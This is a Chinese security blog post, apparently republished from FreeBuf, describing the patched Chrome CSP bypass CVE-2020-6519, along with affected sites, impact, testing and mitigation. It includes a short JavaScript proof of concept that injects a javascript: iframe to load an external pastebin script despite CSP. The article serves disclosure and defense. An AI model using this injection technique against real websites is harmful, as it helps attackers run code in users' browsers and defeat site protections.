挖洞经验 | Chrome浏览器的CSP策略绕过漏洞 – 作者:clouds

图片[1]-挖洞经验 | Chrome浏览器的CSP策略绕过漏洞 – 作者:clouds-安全小百科

本文讲述了作者发现谷歌浏览器Chrome的CSP(内容安全策略)完全绕过漏洞(CVE-2020-6519),影响2019年3月之后发布的所有版本Chrome浏览器,从而导致很多大公司网站的CSP策略在该漏洞面前会完全失效。该漏洞最终收获谷歌奖励$3000。

CSP策略完全绕过的悲剧

非常震惊的是,我发现该漏洞存在基于Chromium内核的Chrome、Opera和Edge系列浏览器,且影响Windows、Mac和Android平台,攻击者可以利用该漏洞,绕过自2019年3月起至2020年7月的所有Chrome内置CSP策略。

该漏洞的严重性在于,由于Chrome浏览器有超过20亿的用户,占据超过65%的浏览器市场,因此该漏洞潜在的受影响用户会达数十亿。

另外,很多大公司网站都存在该漏洞。如Facebook,WellsFargo, Gmail , Zoom, Tiktok, Instagram, WhatsApp, Investopedia, ESPN, Roblox, Indeed, Blogger, Quora等。

用简单方法完全突破Chrome的CSP策略限制

大家感兴趣的话,可以点此参考研究谷歌公开的POC验证文件,但漏洞原因总结来说就是:

通常情况下,在设置了CSP策略的Chrome浏览器中,如果要执行以下JS脚本,由于CSP策略不允许脚本中的源或操作执行,所以会在浏览端实现阻拦。(pastebin链接中是一段脚本):

/* this is a script that pops an alert message */
top._CVE_URL = 'https://pastebin.com/raw/dw5cWGK6';

/* this call will fail due to CSP */
var s = document.createElement("script"); s.src = top._CVE_URL; document.body.appendChild(s);

但是,如果用javascript: src的iframe方式来运行上述JS脚本,则可以完全突破Chrome浏览器的CSP策略限制,成功实现脚本运行:

/* this is a script that pops an alert message */
top._CVE_URL = 'https://pastebin.com/raw/dw5cWGK6';

/* this call will succeed although CSP */
document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";

就这样简单粗暴!致使任意操作系统中的数十亿客户端浏览器就受到了影响,攻击者可以通过此种方式在其客户端中执行CSP提权,进而实现恶意代码执行。

这里要说明的是,有一些配置了CSP策略的网站并不受该漏洞影响,如Twitter, Github, LinkedIn, Google Play Store, Yahoo’s Login Page, PayPal 和 Yandex,这些网站在客户端配置中应用了服务端形式的nonce 或 hash校验方式,因此其相对安全,不受影响。

漏洞影响

CSP,内容安全策略,即网站一种访问策略和规则,它告诉客户端哪些外部资源是可以在网站中加载执行 ,客户端以此为遵循,对网站发起访问。

在CSP策略规则下,网站可以针对客户端浏览器的JS代码等请求,执行允许/阻拦操作,避免客户端用户遭受XSS等攻击影响,以此形成安全屏障。

这里要明确的是,由于攻击者利用该漏洞,还需构建请求访问网站的恶意脚本,所以Chrome浏览器里的这个CSP策略绕过漏洞,并不能直接就影响到网站,这也是该漏洞被评级为中危的原因。

该漏洞的基本情况是,Chrome浏览器的这种CSP策略绕过缺陷,导致很多网站自身的CSP策略规则失效。这里分两种情况,第一,有些网站配置了严格的CSP策略,像上述的Twitter,该漏洞不能让其策略失效;第二,有些网站配置了一般的CSP策略,该漏洞可以让其CSP策略完全失效。

除以上提到的网站外,基于此漏洞情况,可以保守估计,包括电子商务、银行、电信、政府和公用事业在内的数以千计的行业网站都会受影响,攻击者可以利用该漏洞,向这些网站的客户端用户注入恶意代码。

可能有人会说,这种漏洞利用的前提是,攻击者必须在网站上获得代码执行权限啊,这样的CSP绕过漏洞没啥意思嘛。但我不这样认为。

因为大多数网站都依赖CSP策略来提供客户端的安全防护,所以,这种漏洞的出现,对网站自身的安全运行机制来说,就是一个严重的风险隐患。

半年前,我发现了WhatsApp Web/Desktop应用中的一个存储型XSS漏洞,其中就大量描述了CSP绕过漏洞可以导致的危害,其CSP绕过漏洞的危险之处在于,很多网站的不当CSP策略配置,可让攻击者注入恶意脚本,实现与任意网站相关域名的通信。

也正因为如此,要在网站中发现一个管理者不可控的代码执行漏洞非常之难,但是,这种漏洞如果一旦存在,就可能会对网站本身生成致命威胁。

漏洞测试

我自己编写了一个测试脚本,然后利用Chrome的开发者工具,就能简单测试出哪些网站受该漏洞影响。测试中调用的外部JS脚本链接为https://pastebin.com/raw/XpHsfXJQ,它会触发漏洞实现。

以下是Facebook网站存受该漏洞的影响情况:

图片[2]-挖洞经验 | Chrome浏览器的CSP策略绕过漏洞 – 作者:clouds-安全小百科以下是Github网站存受该漏洞的影响情况:

图片[3]-挖洞经验 | Chrome浏览器的CSP策略绕过漏洞 – 作者:clouds-安全小百科不受该漏洞的影响情况:

图片[4]-挖洞经验 | Chrome浏览器的CSP策略绕过漏洞 – 作者:clouds-安全小百科

修复建议

对网站运营方来说,首先要确保网站有严格的CSP策略规则,其次就是可以考虑向其中加入一些服务端的nonce或hash校验措施,或是JS脚本和恶意代码注入检测机制,各种安全策略的共同配置,才能保证网站安全。对用户端来说,就更新Chrome吧,更新到84版本或更高版本。

漏洞补丁

谷歌的Chromium项目团队已及时修复了该漏洞,并在Chrome 84后进行了补丁更新,漏洞最终被评级为中危(CVSS 6.5),作者收获了$3,000的奖励。

参考来源:perimeterx

来源:freebuf.com 2020-08-18 18:13:10 by: clouds

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论